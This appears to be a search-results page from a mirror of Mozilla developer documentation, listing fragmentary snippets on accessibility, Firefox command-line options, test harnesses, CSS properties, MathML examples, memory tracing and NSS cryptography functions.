...tion) { let latlng = new google.maps.latlng(position.coords.latitude,position.coords.longitude); let myoptions = { zoom: 8, center: latlng, maptypeid: google.maps.maptypeid.terrain, disabledefaultui: true } let map = new google.maps.map(document.getelementbyid("map_canvas"), myoptions); }); } else { const para = document.createelement('p'); para.text
content = 'argh, no geolocation!'; document.body.appendchild(para); } try your example out!
Accessibility information for UI designers and developers
your
content can then be better consumed by users with low vision and people with color deficiencies.
... see also: understanding success criterion 2.3.3: animation from interactions
content on hover or focus if
content is revealed on hover or focus, for example in tooltips, there are some things to keep in mind: if the extra
content obscures existing
content, there should be a way to close it without moving focus if the extra
content is opened on hover, hovering the additional
content itself should not cause it to disappear consistent navigation navigation should be consiste...
... see also: understanding success criterion 3.2.3: consistent navigation headings the heading structure of a page is like its table of
contents, so it is important that the levels are consistent.
CSUN Firefox Materials
browse with caret allows users to select arbitrary
content with the keyboard and move through
content as if inside a read-only editor.
... caret browsing allows you to move through web
content one letter a time.
... you can even select web
content and copy it to the clipboard.
Mozilla's Section 508 Compliance
tions that come with the browser are available through other means 2) java and in-page plugins cannot be used with the keyboard, so they must not be installed for keyboard-only users additional features for the keyboard: 1) find as you type allows for quick navigation to links and convenient text searching 2) browse with caret (f7 key toggles) allows users to select arbitrary
content with the keyboard and move through
content as if inside a readonly editor.
...the minimum information that shall be made available is text
content, text input caret location, and text attributes.
...an extension called ad block helps remove extra noisy
content from web pages that clutter accessibility.
Browser chrome tests
for example, to run the tests in browser/base/
content/test the command would be: ./mach mochitest -f browser browser/base/
content/test/ or without mach test_path=<path_to_the_tests> make -c <objdir> mochitest-browser-chrome to run tests in debugger the following should work ./mach mochitest -f browser --debugger gdb browser/base/
content/test/ run ./mach help mochitest-browser for more options.
... gbrowser is set in browser.js and is a tabbrowser element (the tabbrowser with id="
content" in browser.xul).
...o also include any head.js you added to support-files, and additionally, ensure that your browser.ini is referenced by a moz.build file somewhere, such as: browser_chrome_manifests += [ 'test/functional/mochitest/browser.ini' ] support-files once added to support-file section of browser.ini support files may be referenced as https://example.com/browser/[path_to_file] or chrome://mochitests/
content/browser/[path_to_file].
Command line options
open terminal and enter the following command: cd /applications/firefox.app/
contents/macos ./firefox -profilemanager if you use firefox nightly, you can enter: cd /applications/firefoxnightly.app/
contents/macos ./firefox -profilemanager linux open terminal and enter the following command: cd thunderbird installation directory ./thunderbird -profilemanager the example above invokes the "-profilemanager" command line option with mozilla's thunderbird mail client.
... firefox -chrome chrome://inspector/
content -register chrome_url register the specified chrome, but do not start application.
...ocumented -print-xpcom-dir -print-xpcom-dirlist -kill -killall -f -ftimeout -fwait -unsetdefaultmail gtk options -no-deelevate (running windows as administrator with launcher process enabled causes drag and drop errors - how to fix) references chrome: command line test documentation for command-line features (mozilla.org) toolkit/xre/nsapprunner.cpp browser/components/nsbrowser
contenthandler.js suite/browser/nsbrowser
contenthandler.js mail/components/nsmaildefaulthandler.js installer command line options original document information author(s): ben goodger, steffen wilberg, seth spitzer, daniel wang copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Creating a Firefox sidebar
this
content covers features introduced in firefox 17.
...that means the ability to add a traditional sidebar panel is no longer available from web
content.
... see also bootstrap addon demo which adds a sidebar with browser for html
content: https://gist.github.com/noitidart/8728393 ...
Debugging Frame Reflow
on mac this is accomplished with: $ env dyld_library_path="`pwd`/obj-ff-dbg/dist/nightlydebug.app/
contents/macos" \ ./obj-ff-dbg/dist/nightlydebug.app/
contents/macos/firefox-bin > logfile.txt after loading your testcase, the log file will contain the promised information.
... log file analysis the log file for a simple table like <!doctype html public "-//w3c//dtd html 4.01 transitional//en"> <html> <head> <meta http-equiv="
content-type"
content="text/html; charset=iso-8859-1"> </head> <body> <table width="100"> <tbody> <tr> <td>foo</td> </tr> </tbody> </table> </body> </html> will create the following log: vp 00b97c30 r=0 a=9180,4470 c=9180,4470 cnt=856 scroll 00b97ee0 r=0 a=9180,4470 c=9180,4470 cnt=857 scroll 00b97ee0 r=0 a=9180,4470 c=9180,4470 cnt=858 canvas 00b97c6c r=0 a=9180,uc c=9180,4470 cnt=859 area 02d7afe4 r=0 a=9180,uc c=9180,uc cnt=860 text 02d7b150 r=0 a=9180,uc c=uc,uc cnt=861 text 02d7b150 d=0,0 block 02d7b210 r=0 a=9180,uc c=8940,uc cnt=862 block 02d7b210 d=8940,0 area 02d7afe4 d=9180,120 canva...
... original document information author(s): bernd mielke last updated date: december 4, 2004 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
How Mozilla's build system works
the
contents below will explain the basic concepts and terminology of the build system and how to do common tasks such as compiling components and creating jar files.
... legacy
content the
content below is considered legacy.
... original document information author: brian ryner copyright information: portions of this
content are © 1998–2006 by individual mozilla.org contributors;
content available under a creative commons license ...
Gecko Logging
e10s note when a
content process is in sandbox, it cannot write to stderr or any file.
... you may need to set preference security.sandbox.
content.level to 0 to see the log.
... if you're only interested in the
content process you can use rust_log_child rather than rust_log.
Reviewer Checklist
this article provides a list of best practices for your patch
content that reviewers will check for or require.
... privacy issues there should be no logging of urls or
content from which urls may be inferred.
... [fennec: make sure
contentdescription is set for parts of the ui that should be accessible] ...
Multiple Firefox profiles
type or paste in the path to firefox, followed by .app/
contents/macos/firefox.
... for example, if firefox is installed in the recommended location, you would enter /applications/firefox.app/
contents/macos/firefox.
... here is a complete example terminal command from steps 2-3: /applications/firefox.app/
contents/macos/firefox -profile /users/suzie/library/application\ support/firefox/profiles/r99d1z7c.default if the profile manager window does not open, firefox may have been running in the background, even though it was not visible.
Blocked: All third-party storage access requests
message firefox: cookieblockedforeign=request to access cookies or storage on “x” was blocked because we are blocking all third-party storage access requests and
content blocking is enabled.
... a request to access cookies or storage was blocked because it came from a third-party (a different origin) and
content blocking is enabled.
... the permission can be changed or removed by: going to preferences >
content blocking and either adding an exception with the manage exceptions… button choosing the custom
content blocking and unchecking the cookies checkbox if the resource that is being blocked doesn't need authentication, you can fix the warning message by adding a crossorigin="anonymous" attribute to the relevant element.
Blocked: Storage access requests from trackers
message firefox: cookieblockedtracker=request to access cookies or storage on “x” was blocked because it came from a tracker and
content blocking is enabled.
... a request to access cookies or storage was blocked because the browser identified it as coming from a tracker and
content blocking is enabled.
... the permission can be changed or removed by: going to preferences >
content blocking and either adding an exception with the manage exceptions… button choosing the custom
content blocking and unchecking the tracker checkbox if the blocked resource doesn't need authentication, you can fix the warning message by adding a crossorigin="anonymous" attribute to the relevant element.
mozbrowsercaretstatechanged
the mozbrowsercaretstatechanged event is fired when the user selects
content in a page loaded in a browser <iframe>.
...possible values are visibilitychange, updateposition, longpressonempty
content, taponcaret, presscaret, and releasecaret.
...e) or not (false.) caretvisible a boolean indicating whether the caret is currently visible (true) or not (false.) selectionvisible a boolean indicating whether the current selection is visible (true) or not (false.) selectioneditable a boolean indicating whether the current selection is editable (true) or not (false.) selectedtextcontext a domstring containing the currently-selected text
content.
mozbrowserloadend
detail the detail property returns an anonymous javascript object with the following properties: backgroundcolor a domstring representing the main background color of the browser <iframe>
content, expressed as an rgb value.
... can be used to make the theme of the surrounding ui complement the theme of the currently loaded
content, for example.
... var browser = document.queryselector("iframe"); browser.addeventlistener('mozbrowserloadend',function(e) { stopreload.text
content = 'r'; console.log(e.detail.backgroundcolor); controls.style.background = e.detail.backgroundcolor; }); browser.addeventlistener('mozbrowserloadend',function() { stopreload.text
content = 'r'; }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbro...
mozbrowsermetachange
content a domstring representing the <meta>
content attribute value, i.e.
... the
content of the meta tag.
...its name is " + event.details.name + ", and its
content is " + event.details.
content + "."); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
overflow-clip-box-block
/* keyword values */ overflow-clip-box-block: padding-box; overflow-clip-box-block:
content-box; /* global values */ overflow-clip-box-block: inherited; overflow-clip-box-block: initial; overflow-clip-box-block: unset; note: on gecko, by default, padding-box is used everywhere, but <input type="text"> and similar use the value
content-box.
...
content-box this keyword makes the clipping be related to the
content box.
... examples padding-box html <div class="things"> <input value="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; background: lime
content-box; } .padding-box { overflow-clip-box-block: padding-box; } javascript function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; i...
overflow-clip-box-inline
/* keyword values */ overflow-clip-box-inline: padding-box; overflow-clip-box-inline:
content-box; /* global values */ overflow-clip-box-inline: inherited; overflow-clip-box-inline: initial; overflow-clip-box-inline: unset; note: on gecko, by default, padding-box is used everywhere, but <input type="text"> and similar use the value
content-box.
...
content-box this keyword makes the clipping be related to the
content box.
... examples padding-box html <div class="things"> <input value="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; background: lime
content-box; } .padding-box { overflow-clip-box-inline: padding-box; } javascript function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; ...
overflow-clip-box
/* keyword values */ overflow-clip-box: padding-box; overflow-clip-box:
content-box; /* two values */ overflow-clip-box: padding-box
content-box; overflow-clip-box:
content-box
content-box; /* global values */ overflow-clip-box: inherit; overflow-clip-box: initial; overflow-clip-box: unset; note: on gecko, by default, padding-box is used everywhere, but <input type="text"> and similar use the value
content-box.
...
content-box this keyword makes the clipping be related to the
content box.
... formal syntax padding-box |
content-box examples padding-box html <div class="things"> <input value="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; background: lime
content-box; } .padding-box { overflow-clip-box: padding-box; } js function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; it is not yet...
Gecko Keypress Event
problem 4 the shift key must be down (with default preferences) to use accesskeys in web
contents on windows and linux.
... when handling web
content accesskeys, the handlers should consider both characters that are available on the key (without and with shift).
...it is better to use the logic already in ns
contentutils::getaccelkeycandidates() for accel key handling, and ns
contentutils::getaccesskeycandidates() for access key handling (see ns
contentutils.h and ns
contentutils.cpp).
Creating a New Protocol
the toplevel protocol for tabs is p
content.
...if there is any doubt, ask on irc in the #
content channel.
...it may be possible to test protocols unrelated to a particular window using the xpcshell testing framework, which has additional primitives in electrolysis for launching and running js commands in a
content process.
FxAccountsOAuthClient.jsm
fxaccountsoauthclient fxaccountsoauthclient( object options object parameters string client_id string state string oauth_uri string
content_uri [optional] string scope [optional] string action [optional] string authorizationendpoint ); parameters client_id - oauth id returned from client registration.
...example: "https://oauth.accounts.firefox.com/v1"
content_uri - the fxa
content server uri.
...parameters none examples using the fxaccountsoauthclient chrome code let parameters = { oauth_uri: oauth_server_endpoint, client_id: oauth_client_id,
content_uri:
content_server_url, state: oauth_state } let client = new fxaccountsoauthclient({ parameters: parameters }); client.oncomplete = function (tokendata) { // tokendata consists of two properties: "tokendata.state" and "tokendata.code" }; client.launchwebflow(); ...
JNI.jsm
if you would like to support versions before that, you can copy and paste the
contents of the jsm file int jni stands for java native interface; this library allows calling java code running in java virtual machines (jvms), etc.
... var my_jenv; try { my_jenv = jni.getforthread(); var sig = { windowmanager: 'landroid/view/windowmanager;', windowmanager_layoutparams: 'landroid/view/windowmanager$layoutparams;', viewgroup_layoutparams: 'landroid/view/viewgroup$layoutparams;', view: 'landroid/view/view;', void: 'v', context: 'landroid/
content/context;', string: 'ljava/lang/string;', object: 'ljava/lang/object;', geckoappshell: 'lorg/mozilla/gecko/geckoappshell;' }; var geckoappshell = jni.loadclass(my_jenv, fullyqualifiednameofclass(sig.geckoappshell), { static_methods: [ { name: 'getcontext', sig: '()' + sig.context ...
... }] }); var context = jni.loadclass(my_jenv, fullyqualifiednameofclass(sig.context), { methods: [ { /* http://developer.android.com/reference/android/
content/context.html#getsystemservice%28java.lang.class%3ct%3e%29 * public abstract object getsystemservice (string name) */ name: 'getsystemservice', sig: genmethodsig([ sig.string // name ], sig.object // return ) }], static_fields: [ { name: 'window_service', sig: sig.string } // http://developer.android.com/reference/android/
content/context.html#windo...
PromiseWorker.jsm
the following sections tell you which
content to use in your worker and main thread files, in order to use promiseworker objects.
...nt of: `' + shouldresolve + '`'; } else { throw new error('you passed in a non-true value for shouldresolve argument and therefore this will reject the main thread promise'); } } main thread file bootstrap.js const { utils: cu } = components; const { basepromiseworker } = cu.import('resource://gre/modules/promiseworker.jsm', {}); var myworker = new basepromiseworker('chrome://path/to/
content/myworker.js'); var promise_domyfunctrue = myworker.post('resolvetest', [true]); promise_domyfunctrue.then( function(aval) { console.log('fullfilled - promise_domyfunctrue - ', aval); }, function(areason) { console.error('rejected - promise_domyfunctrue - ', areason); } ).catch( function(acaught) { console.error('caught - promise_domyfunctrue - ', acaug...
... bootstrap.js line 8 "rejected - promise_domyfuncfalse - " "you passed in a non-true value for shouldresolve argument and therefore this will reject the main thread promise" bootstrap.js line 25 other examples github :: promiseworker with backward compatability - this example is of a firefox addon that copies and pastes in the
contents of promiseworker.js and promiseworker.jsm so that it works all the way back till the firefox version in which the promise interface was frozen.
WebChannel.jsm
the webchannel.jsm javascript code module provides an abstraction that uses the message manager and custom events apis to create a two-way communication channel between chrome and
content code for specific origins (using a specific origin passed to the constructor or a lookup with nsipermissionmanager while also ensuring the scheme is https).
... parameters none send() sends messages over the webchannel id using the "webchannelmessageto
content" event.
...p a webchannel between chrome code and a webpage chrome code let channel = new webchannel(webchannelid, services.io.newuri("https://mozilla.org", null, null)); // receive messages channel.listen(function (webchannelid, message, sendercontext) { // send messages channel.send({ data: { greeting: true } }, sendercontext); }); webpage code receive messages from an existing webchannel in
content code window.addeventlistener("webchannelmessageto
content", function(e) { // receive messages console.log(e.detail); }, true); send messages to an existing webchannel in chrome code window.dispatchevent(new window.customevent("webchannelmessagetochrome", { detail: { id: webchannelid, message: { something: true } } })); ...
Localizing with Mozilla Translator
migrating
contents when the directory structure changes overall, if you are a ''good'' mt user and you do things like: checking "keep original" flags for strings not needing translation, instead of just leaving the translation empty struggling to get empty lists when running "untranslated strings" and "view fuzzy" if you are up to date in localization regularly running qa checks and trying to minimize them...
...with good oldie cvs, you could checkout just the locale
content and, even more, you could checkout just ''the locale directories'' you were interested in.
...mt thus referred to ab-cd.jar
contents as ''platform neutral'' platform, cd.jar as '''region''' platform (or regional files), and the other three as ''windows platform'', ''mac platform'' and ''unix platform''.
Translation phase
the l10n tools are meant to help you maintain your localized
content from release to release and leverage already localized materials when localizing new
content.
... firefox mobile by adding firefox® to your mobile phone, you can access rich web
content and enjoy your favorite firefox features wherever you go.
...this is where you research and select the search plugins,
content and protocol handlers, bookmarks, and links to recommended sites on the in-product pages that your locale's users will find in their mozilla products.
What every Mozilla translator should know
all the
content of the trunk is copied to this new branch so that the developing work is done in two (or more) parallel places: the generic trunk and the version oriented branch(es).
...firefox.next (trunk) mozilla-1.9.2 l10n-mozilla-1.9.2 firefox 3.6 mozilla-1.9.1 l10n-mozilla-1.9.1 firefox 3.5 and, on the former revision control system, cvs: cvs trunk (the default branch) -> firefox/thunderbird 3.0.x branch mozilla_1_8_branch -> firefox/thunderbird 2.0 branch mozilla cross-reference mozilla cross-reference is a web site mirroring the
content of the hg server.
...specify the branch (1.9.2 for firefox 3.6, 1.9.2.1 for firefox 3.6.1, ...) attach the diff file to the bug:
content type: patch mark the approval1.9.xxx with ?
Extras
the title attribute as a tooltip (from xhtml) html
content <p>mouse over either log to see a tooltip showing the title <math display="block"> <mrow> <mrow> <msub title="base-a log"> <mi>log</mi> <mi>a</mi> </msub> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mo>=</mo> <mfrac> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>a</mi> </mrow> </mfrac> </m...
... { color: blue; }</code> <math class="cue" display="block"> <mrow> <mrow> <msub title="base-a log"> <mi>log</mi> <mi>a</mi> </msub> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mo>=</mo> <mfrac> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>a</mi> </mrow> </mfrac> </mrow> </math> </p> css
content math.cue *[title] { color: blue; } mixing with other markups html
content <math display="block"> <mrow> <mi>a</mi> <mo>=</mo> <mo>[</mo> <mtable> <mtr> <mtd><mn>1</mn></mtd> <mtd> <mtext> <img width="16" height="16" src="https://udn.realityripple.com/samples/3f/9341cbddc0.png" alt="mozilla-16" /> </mtext> </mtd> </mtr> <mtr> <mtd> <mtext><input value="type" size="4"/></mtext> </mtd> <mtd...
...//www.w3.org/1998/math/mathml"> <math display="block"> <mrow> <munderover> <mo>∑</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>0</mn> </mrow> <mrow> <mo>+</mo> <mi>∞</mi> </mrow> </munderover> <mfrac> <msup> <mi>α</mi> <mi>n</mi> </msup> <mrow> <mi>n</mi> <mo>!</mo> </mrow> </mfrac> </mrow> </math> </foreignobject> <text>exp(α)</text> </switch> </g> </g> </svg> </div> inline javascript html
content <math display="block"> <mfrac> <mtext id="num">mouse</mtext> <mtext id="denum">over</mtext> </mfrac> </math> javascript
content function whoistherealert(evt) { alert("who is there?"); } function attachlistener(id) { document.getelementbyid(id).addeventlistener("mouseover", whoistherealert); } function init() { attachlistener("num"); attachlistener("denum"); } window.addeventlistene...
MathML Torture Test
mathml torture test html
content <p> render mathematics with: <select name="mathfont" id="mathfont"> <option value="default" selected="selected">default fonts</option> <option value="asana">asana</option> <option value="cambria">cambria</option> <option value="dejavu">dejavu</option> <option value="latinmodern">latin modern</option> <option value="libertinus">libertinus</option> <option value="lucidabright">lucida bright</option> <option value="minion">minion</option> <option value="stixtwo">stix two</option> <option value="texgyrebonum">tex gyre bonum</option> <option value="texgyrepagella">tex gyre pagella</option> <option value="texgyreschola">tex gyre schola</option> <option value="texgyretermes">tex gyre termes</option> <...
...ow><mi>σ</mi><mo>∊</mo><msub><mi>s</mi><mi>n</mi></msub></mrow></munder><mrow><mi>ϵ</mi><mo stretchy="false">(</mo><mi>σ</mi><mo stretchy="false">)</mo></mrow><mrow><munderover><mo>∏</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></munderover><msub><mi>a</mi><mrow><mi>i</mi><mo>,</mo><msub><mi>σ</mi><mi>i</mi></msub></mrow></msub></mrow></mrow></math></td> </tr> </table> css
content /* table style */ body { text-align: center; } table { border: solid thin; border-collapse: collapse; margin-left: auto; margin-right: auto; } th { background-color: #ddf; border: solid thin; color: black; padding: 5px; } td { border: solid thin; padding: 5px; text-align: center; } .asana math { font-family: asana math; } .cambria math { ...
... math; } .minion math { font-family: minion math; } .stixtwo math { font-family: stix two math; } .texgyrebonum math { font-family: tex gyre bonum math; } .texgyrepagella math { font-family: tex gyre pagella math; } .texgyreschola math { font-family: tex gyre schola math; } .texgyretermes math { font-family: tex gyre termes math; } .xits math { font-family: xits math; } javascript
content function updatemathfont() { var mathfont = document.getelementbyid("mathfont").value; if (mathfont == "default") { document.body.removeattribute("class"); } else { document.body.setattribute("class", mathfont); } } function load() { document.getelementbyid("mathfont").
MathML In Action
as for the roots of the equation a x 2 + b x + c = 0 , click anywhere in the yellow area to zoom-in/zoom-out: zoomable math html
content <p> <math display="block"> <mstyle id="zoomablemath" mathbackground="yellow"> <mrow> <mi>x</mi> <mo>=</mo> <mfrac> <mrow> <mrow> <mo>-</mo> <mi>b</mi> </mrow> <mo>±</mo> <msqrt> <mrow> ...
... <mrow> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> </mrow> </msqrt> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow> </mfrac> </mrow> </mstyle> </math> </p> javascript
content function zoomtoggle() { if (this.hasattribute("mathsize")) { this.removeattribute("mathsize"); } else { this.setattribute("mathsize", "200%"); } } function load() { document.getelementbyid("zoomablemath").
...your feedback can be manifested by putting mathml
content on the web, reporting bugs in bugzilla, and, if you can help with code, inspecting/improving the current code, and/or picking up an item in the todo list.
Mozilla Quirks Mode Behavior
orphaned dd has generated
content :before instead of margin (bug 5119).
... (this also applies to getelementsbyclassname.) stylesheets linked in the document with an advisory mime type of text/css will still be treated as css even if the server gives a
content-type header other than text/css.
... in quirks mode, the css parser allows {} around the
contents of style attributes (bug 99554).
TraceMalloc
tributesimpl 482 14288 2824 88400 2342 74112 4.09 nsscanner 58 76824 94 146300 36 69476 3.83 nsscripterror 253 25070 842 91548 589 66478 3.67 nshtmldocument.mreferrer 177 21550 691 85460 514 63910 3.53 nshtmlvalue 139 7846 1215 68734 1076 60888 3.36 html
contentsink 6 4816 12 57782 6 52966 2.92 uncategorized.pl, which lists all the void* allocations (the ones that couldn't be categorized by type), sorted by size.
...build/dist/minefield.app/
contents/macos/firefox --trace-malloc /dev/null --shutdown-leaks=sdleak.log # convert raw log to text representation of call trees perl source/tools/trace-malloc/diffbloatdump.pl --depth=15 --use-address /dev/null sdleak.log > sdleak.tree.raw # frobulate trees to remove extraneous junk perl source/tools/rb/fix-macosx-stack.pl sdleak.tree.raw > sdleak.tree you can also use the leakstats program to analyze...
...because this log includes the
contents of heap blocks, leaksoup can analyze the graph of live objects and determine which allocations are roots (within that graph, of course -- stack allocations and global variables don't count).
powermetrics
9 330.52 0.00 kernel_task 0 109.97 0.00 0.20 0.00 779.47 330.35 0.00 launchd 1 18.88 2.44 0.00 0.00 0.40 0.20 0.00 com.apple.safari 488 90.60 108.58 56.48 26.65 com.apple.webkit.web
content 84679 64.21 84.69 0.00 0.00 104.19 54.89 26.66 com.apple.webkit.networking 84678 26.89 58.89 0.40 0.00 1.60 0.00 0.00 safari 84676 1.56 55.74 0.00 0.00 2.59 1.40 0.00 com.apple.safari.searchhelper 84690 0.15 49.49 0.00 0.00 ...
... 19.29 0.00 com.apple.windowserver 68 102.58 112.36 43.15 80.52 windowserver 141 103.03 58.19 60.48 6.40 112.36 43.15 80.53 com.apple.safari 499 267.19 110.53 46.05 1.69 com.apple.webkit.web
content 67372 190.15 79.34 2.02 0.14 129.28 53.79 2.33 com.apple.webkit.networking 67292 65.23 52.74 0.07 0.00 4.33 1.40 0.00 safari 67290 29.09 77.65 0.23 0.00 7.13 3.37 0.00 com.apple.safari.searchhelper 67371 13.88 91.18 0.00 0.00 ...
... 0.36 0.05 0.00 com.apple.webkit.web
content 67297 0.81 56.84 0.10 0.00 2.20 1.30 0.00 com.apple.webkit.web
content 67293 0.46 76.40 0.03 0.00 0.57 0.20 0.00 com.apple.webkit.web
content 67295 0.24 67.72 0.00 0.00 0.90 0.37 0.00 com.apple.webkit.web
content 67298 0.17 59.88 0.00 0.00 0.50 0.13 0.00 com.apple.webkit.web
content 67296 0.07 43.51 0.00 0.00 0.10 0.03 0.00 kernel_coalition 1 111.76 724.80 213.09 0.12 kernel_task 0 107.06 0.00 5.86 ...
javascript.options.showInConsole
type:boolean default value: false (true in debug builds) exists by default: yes application support:firefox 1.0 status: active introduction:2002-02-26 bugs: bug 125181 bug 337875 values false only errors and warnings from
content code are shown.
... true (default) errors and warnings from both chrome and
content are shown in the error console.
... note: since the web console was introduced in firefox 4 specifically for debugging
content, the default value for this preference has changed to true as of gecko 2.0.
Research and prep
productization is the process of determining a user's choice of default search engines,
content and protocol handlers (rss readers, web mail and web calendar), bookmarks, and links to recommended sites on the in-product pages as it relates to their locale.
... rss readers and
content handlers productization for rss readers and
content handlers applies only to firefox desktop.
... your selections for default rss readers and
content handlers should follow these guidelines: be translated in your language (because it makes the application unusable if it's not in your language provide for the intended user experience (e.g., minimal to no advertisements within the user experience) no more than three (if possible) choices.
L20n Javascript API
ctx.localize(['hello', 'new'], function(l10n) { var node = document.queryselector('[data-l10n-id=hello]'); node.text
content = l10n.entities.hello.value; node.classlist.remove('hidden'); }); ctx.registerlocales(defaultlocale: string?, availablelocales: array<string>?) register the default locale of the context instance, as well as all other locales available to the context instance before the language negotiation.
... ctx.registerlocales('en-us', ['en-us', 'fr', 'pl']); ctx.requestlocales('fr-ca', 'fr'); ctx.ready(function() { // ctx.supportedlocales == ['fr']; }); ctx.addresource(text: string) add a string as the
content of a resource to the context instance.
... ctx.localize(['hello', 'about'], function(l10n) { var node = document.queryselector('[data-l10n-id=hello]'); node.text
content = l10n.entities.hello.value; node.classlist.remove('hidden'); }); the callback becomes bound to the entities on the ids list.
AsyncTestUtils extended framework
if you later want to bring the messages offline, use the make_folder_and_
contents_offline function.
... get / create the junk folder let junkfolder = get_junk_folder(); create a virtual folder (a folder whose
contents are the result of a saved search) let virtualfolder = make_virtual_folder([afoldertosearch1, afoldertosearch2, ...], {subject: "", body: "", from: "", to: "", cc: "", recipient: "", involves: ""}, aandtermstogether, aoptionalname); this is a convenience function to help you create a new virtual folder.
... mark an imap folder as offline and bring the messages offline yield make_folder_and_
contents_offline(folderhandle); messages and folders move messages to a folder yield async_move_messages(asynmessageset, adestfolder); trash messages (move them to the trash folder) yield async_trash_messages(asynmessageset); empty the trash folder yield async_empty_trash(); delete messages (without moving them to the trash folder) yield async_delete_messages(asynmessageset); implementation...
NSS 3.35 release notes
this ticket can include arbitrary application-chosen
content.
... the application is then able to examine application-chosen
content from the session tickets, or helloretryrequest cookie, and decide whether to proceed with the connection.
... for an initial clienthello, an application can control whether nss sends a helloretryrequest, and include application-chosen
content in the cookie.
Enc Dec MAC Output Public Key as CSR
tderr, "write error\n"); rv = secfailure; goto cleanup; } } cleanup: if (spki) { seckey_destroysubjectpublickeyinfo(spki); } if (cr) { cert_destroycertificaterequest (cr); } if (arena) { port_freearena(arena, pr_false); } if (outfile) { pr_close(outfile); } return rv; } /* * mac and encrypt the input file
content */ secstatus encryptandmac(prfiledesc *infile, prfiledesc *headerfile, prfiledesc *encfile, pk11symkey *ek, pk11symkey *mk, unsigned char *iv, unsigned int ivlen, prbool ascii) { secstatus rv; unsigned char ptext[blocksize]; unsigned int ptextlen; unsigned char mac[digestsize]; unsign...
... * encrypts/macs the input file using encryption keys and outputs the encrypted *
contents into intermediate header file.
... * reads the intermediate headerfile for wrapped keys,rsa public key and encrypted *
contents and decrypts into output file.
nss tech note1
the type is undefined as it is completely dependent on the
content of the decoder templates.† this typically points to a struct that is described (or partially described) by the templates.
...if kind is an asn.1 sequence tag (sec_asn1_sequence), then you must specify additional templates in a null-terminated array to define the
content of the of the asn.1 sequence.
...sec_quickderdecodeitem supports skipping the decoding of optional components if you define the tag of the component in the template sec_asn1_inner: recurse into the component and saves its
content, without the surrounding asn.1 tag and length sec_asn1_save: saves the component data, but does not proceed to the next component if within a sequence template array.
Notes on TLS - SSL 3.0 Intolerant Servers
problem a number of netscape 6.x/7.x and mozilla users have reported that some secure sites -- typically sites featuring online transactions or online banking over the https protocol -- do not display any
content at all.
... when you find a secure site which simply does not display any page
content or drops the connection, check to see if the preference option edit | preferences | privacy and security | ssl | enable tls is turned on.
...if the
content displays this time, you are most likely witnessing a tls/ssl 3.0 intolerant server.
PKCS 7 functions
function name/documentation source code nss versions sec_pkcs7addcertificate mxr 3.3 and later sec_pkcs7addrecipient mxr 3.2 and later sec_pkcs7addsigningtime mxr 3.2 and later sec_pkcs7containscertsorcrls mxr 3.4 and later sec_pkcs7
contentisencrypted mxr 3.4 and later sec_pkcs7
contentissigned mxr 3.4 and later sec_pkcs7
contenttype mxr 3.2 and later sec_pkcs7copy
contentinfo mxr 3.4 and later sec_pkcs7createcertsonly mxr 3.3 and later sec_pkcs7createdata mxr 3.2 and later ...
... mxr 3.2 and later sec_pkcs7decodeitem mxr 3.2 and later sec_pkcs7decoderabort mxr 3.9 and later sec_pkcs7decoderfinish mxr 3.2 and later sec_pkcs7decoderstart mxr 3.2 and later sec_pkcs7decoderupdate mxr 3.2 and later sec_pkcs7decrypt
contents mxr 3.2 and later sec_pkcs7destroy
contentinfo mxr 3.2 and later sec_pkcs7encode mxr 3.3 and later sec_pkcs7encodeitem mxr 3.9.3 and later sec_pkcs7encoderabort mxr 3.9 and later sec_pkcs7encoderfinish mxr 3.2 and later sec_pkcs7en...
...coderstart mxr 3.2 and later sec_pkcs7encoderupdate mxr 3.2 and later sec_pkcs7getcertificatelist mxr 3.2 and later sec_pkcs7get
